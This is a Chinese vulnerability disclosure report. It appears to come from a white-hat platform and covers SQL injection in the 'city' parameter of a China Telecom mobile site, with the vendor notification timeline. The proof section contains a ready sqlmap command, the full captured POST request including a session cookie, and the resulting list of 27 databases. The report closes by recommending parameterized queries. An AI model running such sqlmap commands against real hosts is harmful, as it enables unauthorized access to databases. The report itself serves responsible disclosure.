漏洞详情

披露状态:

2014-09-16: 细节已通知厂商并且等待厂商处理中
2014-09-21: 厂商已经确认,细节仅向厂商公开
2014-10-01: 细节向核心白帽子及相关领域专家公开
2014-10-11: 细节向普通白帽子公开
2014-10-21: 细节向实习白帽子公开
2014-10-31: 细节向公众公开

简要描述:

详细说明:

未对用户输入正确执行危险字符清理

漏洞证明:

sqlmap.py -r /home/sql.txt --dbs
将下面POST请求包保存为sql.txt ,POST参数city存在SQL注入

POST /querybycity.do HTTP/1.1
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://waphl.189.cn
Cookie: JSESSIONID=DA6B5743C5488E262960C5528EA3FF1D
Host: waphl.189.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*
city=*

sqli2.jpg


available databases [27]:
[*] CMS
[*] CTXSYS
[*] DBSNMP
[*] DF
[*] DLS
[*] DMSYS
[*] DQ_LIUYANG
[*] EXFSYS
[*] HEB_ANZHAOWEI
[*] HW
[*] MDSYS
[*] OLAPSYS
[*] ORDSYS
[*] OUTLN
[*] SEARCH_CMS
[*] SMS
[*] STSTEST
[*] SYS
[*] SYSMAN
[*] SYSTEM
[*] TSMSYS
[*] WAP
[*] WMSYS
[*] WT_OLSERVICE
[*] WT_TEST
[*] XDB
[*] XYZQ

修复方案:

参数化SQL语句

标签: none

评论已关闭